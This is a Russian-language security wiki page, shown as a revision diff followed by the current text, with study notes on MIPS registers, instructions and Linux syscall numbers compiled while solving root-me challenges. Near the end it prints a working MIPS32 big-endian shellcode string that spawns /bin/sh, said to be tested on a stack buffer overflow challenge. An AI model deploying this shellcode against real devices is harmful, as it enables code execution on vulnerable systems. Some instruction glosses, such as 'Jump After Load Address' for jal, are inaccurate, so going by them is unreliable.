Mips — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м (Ссылки)
м (MIPS32 big-endian)
 
(не показано 15 промежуточных версий этого же участника)
Строка 1: Строка 1:
MIPS -
+
Часть статьи скопирована с вики с комментариями.
 
 
  
 
==Описание==
 
==Описание==
Строка 6: Строка 5:
 
===Регистры с описанием===
 
===Регистры с описанием===
  
 +
 +
{| class="wikitable"
 +
|+ Регистры
 +
! Название || Номер || Применение
 +
|-
 +
! $zero
 +
| $0 || всегда хранит 0
 +
|-
 +
! $at
 +
| $1 || временный регистр для языка ассемблера
 +
|-
 +
! $v0—$v1
 +
| $2—$3 || значения функций и выражений ($v0 отвечает за вызов syscall)
 +
|-
 +
! $a0—$a3
 +
| $4—$7 || аргументы функций
 +
|-
 +
! $t0—$t7
 +
| $8—$15 || временные
 +
|-
 +
! $s0—$s7
 +
| $16—$23 || сохраненные временные значения
 +
|-
 +
! $t8—$t9
 +
| $24—$25 || временные
 +
|-
 +
! $k0—$k1
 +
| $26—$27 || зарезервирована для ядра операционной системы
 +
|-
 +
! $gp
 +
| $28 || глобальный указатель
 +
|-
 +
! $sp
 +
| $29 || указатель стека
 +
|-
 +
! $fp
 +
| $30 || указатель фрейма
 +
|-
 +
! $ra
 +
| $31 || адрес возврата
 +
|}
  
 
===Инструкции===
 
===Инструкции===
  
 +
Полный список на вики или в ссылках.
 +
Сюда вписываю то, что потребовалось при решении root-me.
 +
 +
 +
{| class="wikitable"
 +
!colspan="3"|Список инструкций
 +
|-
 +
|'''Название'''
 +
|'''Расшифровка'''
 +
|'''Формула'''
 +
|-
 +
|la x1,x2
 +
|Load address
 +
|x1 = x2
 +
|-
 +
|jal(r) x1
 +
|Jump After Load Address
 +
|goto x1
 +
|-
 +
|nop
 +
|No OPeration
 +
|   
 +
|-
 +
|addiu x1,x2,x3
 +
|Add Int Unsigned (беззнаковое сложение целых чисел) Def x3=0
 +
|x1 = x2 + x3
 +
|-
 +
|move x1,x2
 +
|Movement
 +
|x1 = x2
 +
|-
 +
|syscall
 +
|System call (системный вызов, см пункт системных вызовов)
 +
|goto syscall($v0)
 +
|-
 +
|subu x1,x2,x3
 +
|sub unsigned (беззнаковое вычитание)
 +
| x1 = x2 - x3
 +
|-
 +
|sw x1,x2(x3)
 +
|Store Word
 +
|memory[x3 + x2] = x1
 +
|-
 +
|lw x1,x2(x3)
 +
|Load Word
 +
|x1 = memory[x3 + x2]
 +
|
 +
|}
  
 
===Системные вызовы===
 
===Системные вызовы===
Строка 17: Строка 105:
 
====_MIPS_SIM_ABI32====
 
====_MIPS_SIM_ABI32====
  
 +
Смещение будет 4000 + номер системного вызова.
  
 +
Весь список системных вызовов:
 +
https://android.googlesource.com/kernel/mediatek/+/refs/heads/android-mediatek-sprout-3.4-kitkat-mr2/arch/mips/include/asm/unistd.h
 +
 +
Записал только популярные:
 +
 +
 +
{| class="wikitable"
 +
!colspan="3"|Список системных вызовов
 +
|-
 +
|'''Номер'''
 +
|'''Название в исходниках'''
 +
|'''Описание'''
 +
|-
 +
|0
 +
|__NR_syscall
 +
|Пока не понял, скорее всего инициализация
 +
|-
 +
|1
 +
|__NR_exit
 +
|Выход
 +
|-
 +
|2
 +
|__NR_fork
 +
|Создание форка программы   
 +
|-
 +
|3
 +
|__NR_read
 +
|Чтение строки
 +
|-
 +
|4
 +
|__NR_write
 +
|Запись строки
 +
|}
  
 
====_MIPS_SIM_ABI64====
 
====_MIPS_SIM_ABI64====
Строка 26: Строка 148:
  
 
==Особые техники обхода защиты==
 
==Особые техники обхода защиты==
 +
 +
 +
==Шеллкоды==
 +
 +
===Локальные===
 +
 +
 +
====MIPS32 big-endian====
 +
 +
Проверено на таске https://www.root-me.org/en/Challenges/App-System/ELF-MIPS-Stack-buffer-overflow-No-NX
 +
 +
http://shell-storm.org/shellcode/files/shellcode-782.php
 +
 +
<syntaxhighlight lang="python" line="1" enclose="div" style="overflow-x:scroll" >
 +
shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
 +
</syntaxhighlight>
 +
 +
===Удаленные===
  
  
Строка 34: Строка 174:
  
 
[https://courses.missouristate.edu/KenVollmar/MARS/Help/SyscallHelp.html Обьяснение на английском откуда берется 4001 системный вызов]
 
[https://courses.missouristate.edu/KenVollmar/MARS/Help/SyscallHelp.html Обьяснение на английском откуда берется 4001 системный вызов]
 +
 +
[https://ru.wikipedia.org/wiki/MIPS_(%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0) Вики]

Текущая версия на 14:35, 2 февраля 2020

Часть статьи скопирована с вики с комментариями.

Описание

Регистры с описанием

Регистры
Название Номер Применение
$zero $0 всегда хранит 0
$at $1 временный регистр для языка ассемблера
$v0—$v1 $2—$3 значения функций и выражений ($v0 отвечает за вызов syscall)
$a0—$a3 $4—$7 аргументы функций
$t0—$t7 $8—$15 временные
$s0—$s7 $16—$23 сохраненные временные значения
$t8—$t9 $24—$25 временные
$k0—$k1 $26—$27 зарезервирована для ядра операционной системы
$gp $28 глобальный указатель
$sp $29 указатель стека
$fp $30 указатель фрейма
$ra $31 адрес возврата

Инструкции

Полный список на вики или в ссылках. Сюда вписываю то, что потребовалось при решении root-me.


Список инструкций
Название Расшифровка Формула
la x1,x2 Load address x1 = x2
jal(r) x1 Jump After Load Address goto x1
nop No OPeration
addiu x1,x2,x3 Add Int Unsigned (беззнаковое сложение целых чисел) Def x3=0 x1 = x2 + x3
move x1,x2 Movement x1 = x2
syscall System call (системный вызов, см пункт системных вызовов) goto syscall($v0)
subu x1,x2,x3 sub unsigned (беззнаковое вычитание) x1 = x2 - x3
sw x1,x2(x3) Store Word memory[x3 + x2] = x1
lw x1,x2(x3) Load Word x1 = memory[x3 + x2]

Системные вызовы

_UAPI_ASM_UNISTD_H

_MIPS_SIM_ABI32

Смещение будет 4000 + номер системного вызова.

Весь список системных вызовов: https://android.googlesource.com/kernel/mediatek/+/refs/heads/android-mediatek-sprout-3.4-kitkat-mr2/arch/mips/include/asm/unistd.h

Записал только популярные:


Список системных вызовов
Номер Название в исходниках Описание
0 __NR_syscall Пока не понял, скорее всего инициализация
1 __NR_exit Выход
2 __NR_fork Создание форка программы
3 __NR_read Чтение строки
4 __NR_write Запись строки

_MIPS_SIM_ABI64

_MIPS_SIM_NABI32

Особые техники обхода защиты

Шеллкоды

Локальные

MIPS32 big-endian

Проверено на таске https://www.root-me.org/en/Challenges/App-System/ELF-MIPS-Stack-buffer-overflow-No-NX

http://shell-storm.org/shellcode/files/shellcode-782.php

shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"

Удаленные

Ссылки

Система команд процессора MIPS R3000 игровой приставки SONY PLAYSTATION

Обьяснение на английском откуда берется 4001 системный вызов

Вики